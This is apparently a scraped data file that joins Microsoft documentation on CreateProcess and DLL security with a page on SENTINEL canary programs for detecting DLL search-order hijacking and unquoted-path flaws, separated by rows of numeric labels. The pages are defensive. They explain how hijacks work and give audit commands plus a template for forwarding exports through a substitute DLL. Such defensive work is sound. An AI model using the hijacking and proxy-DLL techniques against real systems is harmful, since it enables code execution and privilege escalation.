CREATE_UNICODE_ENVIRONMENT. If this parameter is NULL and the environment block of the parent process contains Unicode characters, you must also ensure that dwCreationFlags includes CREATE_UNICODE_ENVIRONMENT. The ANSI version of this function, CreateProcessA fails if the total size of the environment block for the process exceeds 32,767 characters. Note that an ANSI environment block is terminated by two zero bytes: one for the last string, one more to terminate the block. A Unicode environment block is terminated by four zero bytes: two for the last string, two more to terminate the block. lpCurrentDirectory The full path to the current directory for the process. The string can also specify a UNC path. If this parameter is NULL, the new process will have the same current drive and directory as the calling process. (This feature is provided primarily for shells that need to start an application and specify its initial drive and working directory.) lpStartupInfo A pointer to a STARTUPINFO or STARTUPINFOEX structure. To set extended attributes, use a STARTUPINFOEX structure and specify EXTENDED_STARTUPINFO_PRESENT in the dwCreationFlags parameter. Handles in STARTUPINFO or STARTUPINFOEX must be closed with CloseHandle when they are no longer needed. Important\xc2 \xc2 The caller is responsible for ensuring that the standard handle fields in STARTUPINFO contain valid handle values. These fields are copied unchanged to the child process without validation, even when the dwFlags member specifies STARTF_USESTDHANDLES. Incorrect values can cause the child process to misbehave or crash. Use the Application Verifier runtime verification tool to detect invalid handles. \xc2 lpProcessInformation A pointer to a PROCESS_INFORMATION structure that receives identification information about the new process. Handles in PROCESS_INFORMATION must be closed with CloseHandle when they are no longer needed. Return Value If the function succeeds, the return value is nonzero. If the function fails, the return value is zero. To get extended error information, call GetLastError. Note that the function returns before the process has finished initialization. If a required DLL cannot be located or fails to initialize, the process is terminated. To get the termination status of a process, call GetExitCodeProcess. Remarks The process is assigned a process identifier. The identifier is valid until the process terminates. It can be used to identify the process, or specified in the OpenProcess function to open a handle to the process. The initial thread in the process is also assigned a thread identifier. It can be specified in the OpenThread function to open a handle to the thread. The identifier is valid until the thread terminates and can be used to uniquely identify the thread within the system. These identifiers are returned in the PROCESS_INFORMATION structure. The name of the executable in the command line that the operating system provides to a process is not necessarily identical to that in the command line that the calling process gives to the CreateProcess function. The operating system may prepend a fully qualified path to an executable name that is provided without a fully qualified path. The calling thread can use the WaitForInputIdle function to wait until the new process has finished its initialization and is waiting for user input with no input pending. This can be useful for synchronization between parent and child processes, because CreateProcess returns without waiting for the new process to finish its initialization. For example, the creating process would use WaitForInputIdle before trying to find a window associated with the new process. The preferred way to shut down a process is by using the ExitProcess function, because this function sends notification of approaching termination to all DLLs attached to the process. Other means of shutting down a process do not notify the attached DLLs. Note that when a thread calls ExitProcess, other threads of the process are terminated without an opportunity to execute any additional code (including the thread termination code of attached DLLs). For more information, see Terminating a Process. A parent process can directly alter the environment variables of a child process during process creation. This is the only situation when a process can directly change the environment settings of another process. For more information, see Changing Environment Variables. If an application provides an environment block, the current directory information of the system drives is not automatically propagated to the new process. For example, there is an environment variable named =C: whose value is the current directory on drive C. An application must manually pass the current directory information to the new process. To do so, the application must explicitly create these environment variable strings, sort them alphabetically (because the system uses a sorted environment), and put them into the environment block. Typically, they will go at the front of the environment block, due to the environment block sort order. One way to obtain the current directory information for a drive X is to make the following call: GetFullPathName(""X:"", ...). That avoids an application having to scan the environment block. If the full path returned is X:, there is no need to pass that value on as environment data, since the root directory is the default current directory for drive X of a new process. When a process is created with CREATE_NEW_PROCESS_GROUP specified, an implicit call to SetConsoleCtrlHandler(NULL,TRUE) is made on behalf of the new process; this means that the new process has CTRL+C disabled. This lets shells handle CTRL+C themselves, and selectively pass that signal on to sub-processes. CTRL+BREAK is not disabled, and may be used to interrupt the process/process group. Security Remarks The first parameter, lpApplicationName, can be NULL, in which case the executable name must be in the white space\xe2\x80\x93delimited string pointed to by lpCommandLine. If the executable or path name has a space in it, there is a risk that a different executable could be run because of the way the function parses spaces. The following example is dangerous because the function will attempt to run ""Program.exe"", if it exists, instead of ""MyApp.exe"". LPTSTR szCmdline = _tcsdup(TEXT(""C:\\\\Program Files\\\\MyApp -L -S"")); CreateProcess(NULL, szCmdline, /* ... */); If a malicious user were to create an application called ""Program.exe"" on a system, any program that incorrectly calls CreateProcess using the Program Files directory will run this application instead of the intended application. To avoid this problem, do not pass NULL for lpApplicationName. If you do pass NULL for lpApplicationName, use quotation marks around the executable path in lpCommandLine, as shown in the example below. LPTSTR szCmdline[] = _tcsdup(TEXT(""\\""C:\\\\Program Files\\\\MyApp\\"" -L -S"")); CreateProcess(NULL, szCmdline, /*...*/); Examples For an example, see Creating Processes. Requirements \xc2 \xc2 Minimum supported client Windows\xc2 XP [desktop apps | UWP apps] Minimum supported server Windows Server\xc2 2003 [desktop apps | UWP apps] Target Platform Windows Header processthreadsapi.h (include Windows Server\xc2 2003, Windows\xc2 Vista, Windows\xc2 7, Windows Server\xc2 2008 Windows Server\xc2 2008\xc2 R2, Windows.h) Library Kernel32.lib DLL Kernel32.dll See Also CloseHandle CreateProcessAsUser CreateProcessWithLogonW ExitProcess GetCommandLine GetEnvironmentStrings GetExitCodeProcess GetFullPathName GetStartupInfo OpenProcess PROCESS_INFORMATION Process and Thread Functions Processes SECURITY_ATTRIBUTES STARTUPINFO STARTUPINFOEX SetErrorMode TerminateProcess WaitForInputIdle Is this page helpful? Yes No Any additional feedback? Skip Submit Thank you. Previous Version Docs Blog Contribute Privacy & Cookies Terms of Use Site Feedback Trademarks Is this page helpful? Yes No Any additional feedback? Skip Submit Thank you. In this article Previous Version Docs Blog Contribute Privacy & Cookies Terms of Use Site Feedback Trademarks","0","1","0","1","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Dynamic-Link Library Security - Windows applications | Microsoft Docs Skip to main content Contents Exit focus mode Edit Share Twitter LinkedIn Facebook Email Theme Light Dark High contrast Sign in Profile Sign out Contents Dynamic-Link Library Security 05/31/2018 5 minutes to read In this article When an application dynamically loads a dynamic-link library without specifying a fully qualified path name, Windows attempts to locate the DLL by searching a well-defined set of directories in a particular order, as described in Dynamic-Link Library Search Order. If an attacker gains control of one of the directories on the DLL search path, it can place a malicious copy of the DLL in that directory. This is sometimes called a DLL preloading attack or a binary planting attack. If the system does not find a legitimate copy of the DLL before it searches the compromised directory, it loads the malicious DLL. If the application is running with administrator privileges, the attacker may succeed in local privilege elevation. For example, suppose an application is designed to load a DLL from the user's current directory and fail gracefully if the DLL is not found. The application calls LoadLibrary with just the name of the DLL, which causes the system to search for the DLL. Assuming safe DLL search mode is enabled and the application is not using an alternate search order, the system searches directories in the following order: The directory from which the application loaded. The system directory. The 16-bit system directory. The Windows directory. The current directory. The directories that are listed in the PATH environment variable. Continuing the example, an attacker with knowledge of the application gains control of the current directory and places a malicious copy of the DLL in that directory. When the application issues the LoadLibrary call, the system searches for the DLL, finds the malicious copy of the DLL in the current directory, and loads it. The malicious copy of the DLL then runs within the application and gains the privileges of the user. Developers can help safeguard their applications against DLL preloading attacks by following these guidelines: Wherever possible, specify a fully qualified path when using the LoadLibrary, LoadLibraryEx, CreateProcess, or ShellExecute functions. Use the LOAD_LIBRARY_SEARCH flags with the LoadLibraryEx function, or use these flags with the SetDefaultDllDirectories function to establish a DLL search order for a process and then use the AddDllDirectory or SetDllDirectory functions to modify the list. For more information, see Dynamic-Link Library Search Order. Windows\xc2 7, Windows Server\xc2 2008\xc2 R2, Windows\xc2 Vista and Windows Server\xc2 2008: These flags and functions are available on systems with KB2533623 installed. On systems with KB2533623 installed, use the LOAD_LIBRARY_SEARCH flags with the LoadLibraryEx function, or use these flags with the SetDefaultDllDirectories function to establish a DLL search order for a process and then use the AddDllDirectory or SetDllDirectory functions to modify the list. For more information, see Dynamic-Link Library Search Order. Consider using DLL redirection or a manifest to ensure that your application uses the correct DLL. When using the standard search order, make sure that safe DLL search mode is enabled. This places the user's current directory later in the search order, increasing the chances that Windows will find a legitimate copy of the DLL before a malicious copy. Safe DLL search mode is enabled by default starting with Windows\xc2 XP with Service Pack\xc2 2 (SP2) and is controlled by the HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager\\SafeDllSearchMode registry value. For more information, see Dynamic-Link Library Search Order. Consider removing the current directory from the standard search path by calling SetDllDirectory with an empty string (""""). This should be done once early in process initialization, not before and after calls to LoadLibrary. Be aware that SetDllDirectory affects the entire process and that multiple threads calling SetDllDirectory with different values can cause undefined behavior. If your application loads third-party DLLs, test carefully to identify any incompatibilities. Do not use the SearchPath function to retrieve a path to a DLL for a subsequent LoadLibrary call unless safe process search mode is enabled. When safe process search mode is not enabled, the SearchPath function uses a different search order than LoadLibrary and is likely to first search the user's current directory for the specified DLL. To enable safe process search mode for the SearchPath function, use the SetSearchPathMode function with BASE_SEARCH_PATH_ENABLE_SAFE_SEARCHMODE. This moves the current directory to the end of the SearchPath search list for the life of the process. Note that the current directory is not removed from the search path, so if the system does not find a legitimate copy of the DLL before it reaches the current directory, the application is still vulnerable. As with SetDllDirectory, calling SetSearchPathMode should be done early in process initialization and it affects the entire process. If your application loads third-party DLLs, test carefully to identify any incompatibilities. Do not make assumptions about the operating system version based on a LoadLibrary call that searches for a DLL. If the application is running in an environment where the DLL is legitimately not present but a malicious copy of the DLL is in the search path, the malicious copy of the DLL may be loaded. Instead, use the recommended techniques described in Getting the System Version. The Process Monitor tool can be used to help identify DLL load operations that might be vulnerable. The Process Monitor tool can be downloaded from https://technet.microsoft.com/sysinternals/bb896645.aspx. The following procedure describes how to use Process Monitor to examine DLL load operations in your application. To use Process Monitor to examine DLL load operations in your application Start Process Monitor. In Process Monitor, include the following filters: Operation is CreateFile Operation is LoadImage Path contains .cpl Path contains .dll Path contains .drv Path contains .exe Path contains .ocx Path contains .scr Path contains .sys Exclude the following filters: Process Name is procmon.exe Process Name is Procmon64.exe Process Name is System Operation begins with IRP_MJ_ Operation begins with FASTIO_ Result is SUCCESS Path ends with pagefile.sys Attempt to start your application with the current directory set to a specific directory. For example, double-click a file with an extension whose file handler is assigned to your application. Check Process Monitor output for paths that look suspicious, such as a call to the current directory to load a DLL. This kind of call might indicate a vulnerability in your application. \xc2 \xc2 Is this page helpful? Yes No Any additional feedback? Skip Submit Thank you. Previous Version Docs Blog Contribute Privacy & Cookies Terms of Use Site Feedback Trademarks Is this page helpful? Yes No Any additional feedback? Skip Submit Thank you. In this article Previous Version Docs Blog Contribute Privacy & Cookies Terms of Use Site Feedback Trademarks","0","0","0","1","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Vulnerability and Exploit Detector Me, myself & IT Vulnerability and Exploit Detector Purpose Reason Operation Limitation Background Information Execution of bogus or rogue programs Execution of bogus or rogue DLLs Known Vulnerabilities Known Weaknesses Implementation and Build Details Authenticity and Integrity Download Installation Automatic online installation Manual offline installation Update Deinstallation Purpose The Vulnerability and Exploit Detector for Microsoft\xc2\xae Windows\xc2\xae NT consists of the independent executable files SENTINEL.DLL and SENTINEL.EXE. They are used as canaries to indicate the execution of bogus or rogue applications and DLLs from unintended or unwanted locations, typically in order to detect and demonstrate programming errors which lead to weaknesses and vulnerabilities, or to catch and detect (malicious) code which exploits such weaknesses and vulnerabilities. When placed in trusted locations of the search path, before untrusted locations like the CWD, they additionally act as sentinels and prevent the execution of bogus or rogue applications and DLLs. Reason Way too many Windows DLLs and programs, especially setup programs which typically have to be run with administrative privileges, suffer from poor insecure search path handling, resulting in well-known weaknesses like CWE-426: Untrusted Search Path, CWE-427: Uncontrolled Search Path Element and CWE-428: Unquoted Search Path or Element documented in the CWE\xe2\x84\xa2, and allowing well-known attacks like CAPEC-471: DLL Search Order Hijacking documented in the CAPEC\xe2\x84\xa2. Operation SENTINEL.DLL is placed in the CWD and/or the application directory of programs which load DLLs during load-time and/or runtime, using the filename of one or more DLLs loaded by the respective program or any (other) DLL loaded by it. Note: on systems with AMD64 alias x64 processor architecture, SENTINEL.DLL is loaded executed only if its execution environment matches that of the calling process! Note: while searching for DLLs specified without absolute (fully qualified) pathname, Windows\xe2\x80\x99 module loader maps PE32/PE32+ modules with matching filenames into memory, independent of their target execution environment. Upon mismatch of the execution environments it discards and unloads the modules, then continues searching. Note: the DllMain() entry point of every DLL loaded during load-time of an application or DLL is called before the entry point of this (dependent) application or DLL! When SENTINEL.DLL runs in an interactive user session it displays one or more message boxes as shown to the right. Note: the message box displayed during the initial call of SENTINEL.DLL (DLL_PROCESS_ATTACH) offers the choice to return success (via the OK button) or failure (via the Cancel button) to the calling process. The Win32 functions LoadLibrary() and LoadLibraryEx() yield error 1114 alias ERROR_DLL_INIT_FAILED for failure, while Windows\xe2\x80\x99 module loader yields NTSTATUS 0xC0000142 alias STATUS_DLL_INIT_FAILED. To test SENTINEL.DLL, open a Command Prompt and run one of the following command lines: Rem Copyright \xc2\xa9 2004-2019, Stefan Kanthak <\xe2\x80\x8dstefan\xe2\x80\x8d.\xe2\x80\x8dkanthak\xe2\x80\x8d@\xe2\x80\x8dnexgo\xe2\x80\x8d.\xe2\x80\x8dde\xe2\x80\x8d> ""%SystemRoot%\\System32\\MSIExec.exe"" /Y ""\xe2\x80\xb9path\xe2\x80\xba\\SENTINEL.DLL"" ""%SystemRoot%\\System32\\RegSvr32.exe"" /I /N /S ""\xe2\x80\xb9path\xe2\x80\xba\\SENTINEL.DLL"" ""%SystemRoot%\\System32\\RegSvr32.exe"" /S ""\xe2\x80\xb9path\xe2\x80\xba\\SENTINEL.DLL"" ""%SystemRoot%\\System32\\RegSvr32.exe"" /S /U ""\xe2\x80\xb9path\xe2\x80\xba\\SENTINEL.DLL"" ""%SystemRoot%\\System32\\RunDLL32.exe"" ""\xe2\x80\xb9path\xe2\x80\xba\\SENTINEL.DLL"",RunDLL SENTINEL.EXE is typically placed as PROGRAM and/or PROGRAM.EXE in the root directory of Windows\xe2\x80\x99 system drive %SystemDrive%; if creation of 8.3 filenames is enabled SENTINEL.EXE can be copied as is and a short 8.3 filename PROGRAM or PROGRAM.EXE set: ""%SystemRoot%\\System32\\FSUtil.exe"" File SetShortName ""%SystemDrive%\\SENTINEL.EXE"" PROGRAM.EXE To list other locations (i.e. directories with a space in their name) where SENTINEL.EXE may be placed, start a Command Prompt and run the following command lines: Rem Copyright \xc2\xa9 2004-2019, Stefan Kanthak <\xe2\x80\x8dstefan\xe2\x80\x8d.\xe2\x80\x8dkanthak\xe2\x80\x8d@\xe2\x80\x8dnexgo\xe2\x80\x8d.\xe2\x80\x8dde\xe2\x80\x8d> For /D /R ""%SystemRoot%"" %! In (""* *"") Do @Echo %! For /D /R ""%ProgramFiles%"" %! In (""* *"") Do @Echo %! If Defined ProgramFiles(x86) For /D /R ""%ProgramFiles(x86)%"" %! In (""* *"") Do @Echo %! For /D /R ""%USERPROFILE%"" %! In (""* *"") Do @Echo %! When SENTINEL.EXE runs in an interactive user session it displays a message box as shown to the right. Note: the calling process can only be determined if it still exists and SENTINEL.EXE runs in the same (unprivileged) security context as the calling process, on systems with AMD64 alias x64 processor architecture also in the same (32- or 64-bit) execution environment as the calling process! To test SENTINEL.EXE, execute it per double-click from Windows Explorer or call it from a Command Prompt. When executed, SENTINEL.DLL and SENTINEL.EXE write a message similar to that shown in the message boxes to Windows\xe2\x80\x99 Event Log, using the source Vulnerability and Exploit Detector. To retrieve these messages from the Event Log, start a Command Prompt and run the following command line: ""%SystemRoot%\\System32\\WBEM\\WMIC.exe"" NTEvent Where ""SourceName='Vulnerability and Exploit Detector'"" Get /Value For a typical output of this command line see SENTINEL.TXT. Limitation When SENTINEL.DLL is (renamed and) used as static (load-time) dependency of an arbitrary executable (a program or another DLL), loading of this executable usually fails due to unresolved external symbols or ordinals, and SENTINEL.DLL is not run: SENTINEL.DLL does not export the symbols and ordinals of the original DLL. This limitation can be overcome by forwarding the missing exports to the original DLL using a .def file when linking SENTINEL.DLL: ; Copyright \xc2\xa9 2004-2019, Stefan Kanthak <\xe2\x80\x8dstefan\xe2\x80\x8d.\xe2\x80\x8dkanthak\xe2\x80\x8d@\xe2\x80\x8dnexgo\xe2\x80\x8d.\xe2\x80\x8dde\xe2\x80\x8d> LIBRARY \xe2\x80\xb9module\xe2\x80\xba EXPORTS \xe2\x80\xb9symbol\xe2\x80\xba=[C:\\Windows\\]System32\\\xe2\x80\xb9filename\xe2\x80\xba.\xe2\x80\xb9symbol\xe2\x80\xba @\xe2\x80\xb9ordinal\xe2\x80\xba PRIVATE \xe2\x80\xa6 @\xe2\x80\xb9ordinal\xe2\x80\xba=[C:\\Windows\\]System32\\\xe2\x80\xb9filename\xe2\x80\xba.#\xe2\x80\xb9ordinal\xe2\x80\xba @\xe2\x80\xb9ordinal\xe2\x80\xba NONAME PRIVATE \xe2\x80\xa6 Caveat: export forwarding is limited to target DLLs with extension .dll! Note: original DLLs located in Windows\xe2\x80\x99 system directory %SystemRoot%\\System32\\ can be referenced with their relative pathname System32\\\xe2\x80\xb9filename\xe2\x80\xba since the windows directory %SystemRoot%\\ is in the search path too: [\xe2\x80\xa6] If a relative path is specified, the entire relative path is appended to every token in the DLL search path list. [\xe2\x80\xa6] If lpFileName specifies a relative path, the entire relative path is appended to every token in the DLL search path. Note: .def files can be created with a simple batch script (.cmd) from the output of the following command line: LINK.EXE /DUMP /HEADERS \xe2\x80\xb9module\xe2\x80\xba.dll A complete set of 32-bit forwarder DLLs for all system DLLs of Windows XP and Windows 7 is available upon request. Background Information Execution of bogus or rogue programs The most prominent notorious, well-known and well-documented example is the unintended execution of %SystemDrive%\\Program.exe or (for example) ""%SystemDrive%\\Program Files\\Internet.exe"" alias ""%ProgramFiles%\\Internet.exe"" instead of the intended execution of (again for example) ""%SystemDrive%\\Program Files\\Internet Explorer\\IExplore.exe"" alias ""%ProgramFiles%\\Internet Explorer\\IExplore.exe"" due to missing quotes around the long filename or pathname of an executable file that contains spaces when used in a command line like %SystemDrive%\\Program Files\\Internet Explorer\\IExplore.exe -nohome alias %ProgramFiles%\\Internet Explorer\\IExplore.exe -nohome. The resulting weakness is listed as CWE-428: Unquoted Search Path or Element in the CWE\xe2\x84\xa2. This (unfortunately way too) common programmer\xe2\x80\x99s beginner\xe2\x80\x99s error is documented in the MSDN articles for the Win32 functions CreateProcess(), CreateProcessAsUser(), CreateProcessWithLogonW(), CreateProcessWithTokenW() and WinExec() under the heading Security Remarks, for the Win32 function CreateService(), and (for example) in the MSKB articles 134425, 139427, 140724 and 812486. The (to say the very least) weird braindead behaviour of these Win32 functions which lets this beginner\xe2\x80\x99s error go undetected (without a properly named sentinel placed aside all executable files with a space in their name and all directories with a space in their name which contain executable files) is documented in the MSDN articles referenced above under the heading Parameters and exists since the introduction of long filenames with Win32 in Windows NT 3.1 (and of course Windows 95 too) more than 20\xc2 years ago: [\xe2\x80\xa6] the module name must be the first white space-delimited token in the lpCommandLine string. If you are using a long file name that contains a space, use quoted strings to indicate where the file name ends and the arguments begin; otherwise, the file name is ambiguous. For example, consider the string ""c:\\program\xc2 files\\sub\xc2 dir\\program\xc2 name"". This string can be interpreted in a number of ways. The system tries to interpret the possibilities in the following order: c:\\program.exe\xc2 files\\sub\xc2 dir\\program\xc2 name c:\\program\xc2 files\\sub.exe\xc2 dir\\program\xc2 name c:\\program\xc2 files\\sub\xc2 dir\\program.exe\xc2 name c:\\program\xc2 files\\sub\xc2 dir\\program\xc2 name.exe These Win32 functions play try\xe2\x80\x89&\xe2\x80\x89error where they should but fail and return an error to their caller! Note: the following rules of interpretation are missing in the documentation: all possibilities are tried without the extension .exe first (executable files don\xe2\x80\x99t need to have an extension at all); all possibilities where both a matching file with extension .exe and a matching directory without extension exist are discarded; except for the last possibility matching directories are discarded. To perform a quick (but non-exhaustive) check whether your Windows installation is affected, start a Command Prompt, run the following command lines, and inspect their output: Rem Copyright \xc2\xa9 2004-2019, Stefan Kanthak <\xe2\x80\x8dstefan\xe2\x80\x8d.\xe2\x80\x8dkanthak\xe2\x80\x8d@\xe2\x80\x8dnexgo\xe2\x80\x8d.\xe2\x80\x8dde\xe2\x80\x8d> FType | ""%SystemRoot%\\System32\\Find.exe"" /I ""=%ProgramFiles%"" FType | ""%SystemRoot%\\System32\\Find.exe"" /I ""=%ProgramFiles"" FType | ""%SystemRoot%\\System32\\Find.exe"" /I ""=%CommonProgramFiles"" FType | ""%SystemRoot%\\System32\\Find.exe"" /I ""=!USERPROFILE:\\%USERNAME%=\\!"" FType | ""%SystemRoot%\\System32\\Find.exe"" /I "" %ProgramFiles%"" FType | ""%SystemRoot%\\System32\\Find.exe"" /I "" %ProgramFiles"" FType | ""%SystemRoot%\\System32\\Find.exe"" /I "" %CommonProgramFiles"" FType | ""%SystemRoot%\\System32\\Find.exe"" /I "" !USERPROFILE:\\%USERNAME%=\\!"" ""%SystemRoot%\\System32\\WBEM\\WMIC.exe"" Service Get PathName /Value | ""%SystemRoot%\\System32\\Find.exe"" /I ""\\Windows "" | ""%SystemRoot%\\System32\\Find.exe"" /V ""PathName="""""" ""%SystemRoot%\\System32\\WBEM\\WMIC.exe"" Service Get PathName /Value | ""%SystemRoot%\\System32\\Find.exe"" /I ""=%ProgramFiles%"" ""%SystemRoot%\\System32\\WBEM\\WMIC.exe"" Service Get PathName /Value | ""%SystemRoot%\\System32\\Find.exe"" /I ""=!USERPROFILE:\\%USERNAME%=\\!"" ""%SystemRoot%\\System32\\WBEM\\WMIC.exe"" PATH Win32_ClassicCOMClassSetting Where ""LocalServer Is Not NULL"" Get LocalServer /Value | ""%SystemRoot%\\System32\\Find.exe"" /I ""=%ProgramFiles%"" ""%SystemRoot%\\System32\\WBEM\\WMIC.exe"" PATH Win32_ClassicCOMClassSetting Where ""LocalServer Is Not NULL"" Get LocalServer /Value | ""%SystemRoot%\\System32\\Find.exe"" /I ""=%ProgramFiles"" ""%SystemRoot%\\System32\\WBEM\\WMIC.exe"" PATH Win32_ClassicCOMClassSetting Where ""LocalServer Is Not NULL"" Get LocalServer /Value | ""%SystemRoot%\\System32\\Find.exe"" /I ""=%CommonProgramFiles"" ""%SystemRoot%\\System32\\WBEM\\WMIC.exe"" PATH Win32_ClassicCOMClassSetting Where ""LocalServer Is Not NULL"" Get LocalServer /Value | ""%SystemRoot%\\System32\\Find.exe"" /I ""=!USERPROFILE:\\%USERNAME%=\\!"" ""%SystemRoot%\\System32\\WBEM\\WMIC.exe"" PATH Win32_ClassicCOMClassSetting Where ""LocalServer32 Is Not NULL"" Get LocalServer32 /Value | ""%SystemRoot%\\System32\\Find.exe"" /I ""=%ProgramFiles%"" ""%SystemRoot%\\System32\\WBEM\\WMIC.exe"" PATH Win32_ClassicCOMClassSetting Where ""LocalServer32 Is Not NULL"" Get LocalServer32 /Value | ""%SystemRoot%\\System32\\Find.exe"" /I ""=%ProgramFiles"" ""%SystemRoot%\\System32\\WBEM\\WMIC.exe"" PATH Win32_ClassicCOMClassSetting Where ""LocalServer32 Is Not NULL"" Get LocalServer32 /Value | ""%SystemRoot%\\System32\\Find.exe"" /I ""=%CommonProgramFiles"" ""%SystemRoot%\\System32\\WBEM\\WMIC.exe"" PATH Win32_ClassicCOMClassSetting Where ""LocalServer32 Is Not NULL"" Get LocalServer32 /Value | ""%SystemRoot%\\System32\\Find.exe"" /I ""=!USERPROFILE:\\%USERNAME%=\\!"" Use the batch script SLOPPY.CMD to perform all the checks listed here and below. Download, read and run the batch scripts SLOPPY7X.CMD and SLOPPY7D.CMD to conduct a more thorough check. If you detect an unquoted long filename or pathname containing spaces in a command line, direct the author(s) of the defective software (for example) to the MSKB articles 102739, 166827 and 170669, the MSDN articles Extending Shortcut Menus, Verbs and File Associations, Best Practices for File Associations, Registering Programs with Client Types and How to Register an Internet Browser or Email Client With the Windows Start Menu, plus the TechNet article Using Long File Names and request a fix for this well-known vulnerability! If any element of the command string contains or might contain spaces, it must be enclosed in quotation marks. Otherwise, if the element contains a space, it will not parse correctly. For instance, ""My Program.exe"" starts the application properly. If you use My Program.exe without quotation marks, then the system attempts to launch My with Program.exe as its first command line argument. You should always use quotation marks with arguments such as %1 that are expanded to strings by the Shell, because you cannot be certain that the string will not contain a space. The command line must specify a fully qualified absolute path to the file, followed by optional command-line options. Use quotation marks appropriately to ensure that spaces in the command line are not misinterpreted. lpBinaryPathName [in, optional] The fully qualified path to the service binary file. If the path contains a space, it must be quoted so that it is correctly interpreted. For example, ""d:\\\\my share\\\\myservice.exe"" should be specified as ""\\""d:\\\\my share\\\\myservice.exe\\"""". To perform a quick (but non-exhaustive) check whether your Windows installation is affected by both aforementioned bugs, start a Command Prompt, run the following command lines and inspect their output: Rem Copyright \xc2\xa9 2004-2019, Stefan Kanthak <\xe2\x80\x8dstefan\xe2\x80\x8d.\xe2\x80\x8dkanthak\xe2\x80\x8d@\xe2\x80\x8dnexgo\xe2\x80\x8d.\xe2\x80\x8dde\xe2\x80\x8d> FType | ""%SystemRoot%\\System32\\Find.exe"" /V ""."" FType | ""%SystemRoot%\\System32\\Find.exe"" /V ""\\"" FType | ""%SystemRoot%\\System32\\Find.exe"" /I "" %L"" FType | ""%SystemRoot%\\System32\\Find.exe"" "" %1"" Use the batch script SLOPPY.CMD to perform all the checks listed here, above and below. Download, read and run the batch scripts SLOPPY7X.CMD and SLOPPY7D.CMD to conduct a more thorough check. If you detect a simple filename or a partial (relative) pathname instead of a full (absolute) pathname or an unquoted argument (anywhere, not only) in the command lines printed by FType, direct the author(s) of the vulnerable software (for example) to the MSDN articles referenced above and request a fix for this well-known vulnerability! Also ask the author(s) of the defective software why they don\xe2\x80\x99t use Application Verifier to test their software! Calls to the CreateProcess API function are subject to attack if parameters are not specified correctly. AppVerifier generates an error if CreateProcess (or other related API functions) are called with a NULL lpApplicationName parameter and an lpCommandLine parameter that contains spaces. For example, it does not allow the following as the command line parameter: c:\\program files\\sample.exe -t -g c:\\program files\\sample\\test Using this command line, an application can inadvertently execute unwanted code if a malicious user installs his program to C:\\Program. Execution of bogus or rogue DLLs The other prominent infamous and well-known example, first reported on September\xc2 18,\xc2 2000 as Georgi Guninski security advisory #21, 2000 and listed as CVE-2000-0854 in the CVE\xc2\xae, is the unintended execution of bogus or rogue DLLs (and programs) with the well-known filename of a system DLL (or a system program) from (usually) the CWD or the application directory instead of Windows\xe2\x80\x99 system directory %SystemRoot%\\System32\\ due to insecure search path handling and the use of a simple filename or a relative (partial) pathname instead of an absolute (full) pathname, known as DLL spoofing alias DLL preloading, directory poisoning, binary planting, DLL hijacking and DLL side-loading. The resulting weaknesses are listed as CWE-426: Untrusted Search Path and CWE-427: Uncontrolled Search Path Element in the CWE\xe2\x84\xa2. The posts MS09-014: Addressing the Safari Carpet Bomb vulnerability, More information about the DLL Preloading remote attack vector, An update on the DLL-preloading remote attack vector and Triaging a DLL planting vulnerability on Microsoft\xe2\x80\x99s Security Research and Defense Blog give additional information. For loading of DLLs the proper and secure search path handling is documented in the MSDN articles Dynamic-Link Library Security and Dynamic-Link Library Search Order, the Security Advisory 2269637, the MSKB articles 2389418 and 2533623, plus the post Load Library Safely: Applications can control the location from which a DLL is loaded by specifying a full path or using another mechanism such as a manifest. Wherever possible, specify a fully qualified path when using the LoadLibrary, LoadLibraryEx, CreateProcess, or ShellExecute functions. Use fully qualified paths for all calls to LoadLibrary, CreateProcess, and ShellExecute where you can. This exploit may occur when applications do not directly specify the fully qualified path to a library it intends to load. Always specify the fully qualified path when the library location is constant. Additionally see the MSDN articles Self-Registration as well as DefaultIcon, LocalServer and LocalServer32: The server must register the full path to the installation location of the DLL or EXE module for their respective InprocServer32, InprocHandler32, and LocalServer32 keys in the registry. This is a REG_SZ value that specifies the full path to the executable name [\xe2\x80\xa6] Specifies the full path to a 16-bit local server application. Specifies the full path to a 32-bit local server application. [\xe2\x80\xa6] The ServerExecutable value, which is of type REG_SZ and is supported starting with Windows Server\xc2 2003, works in conjunction with the LocalServer32 subkey to prevent any ambiguity when using the CreateProcess function. LocalServer32 specifies the location of the COM server application to launch, and this information is passed as the first parameter lpApplicationName for CreateProcess. Depending on the implementation of CreateProcess, this information might be ambiguous. For this reason, if ServerExecutable is specified, COM passes the ServerExecutable named value to the lpApplicationName parameter of CreateProcess. If ServerExecutable is not specified, COM passes NULL as the value for the first parameter of CreateProcess. To help provide system security, use quoted strings in the path to indicate where the executable filename ends and the arguments begin. Note: the MSDN articles InprocHandler, InprocHandler32, InprocServer, InprocServer32 and ToolBoxBitmap32 fail to specify the use of full (absolute) pathnames and need 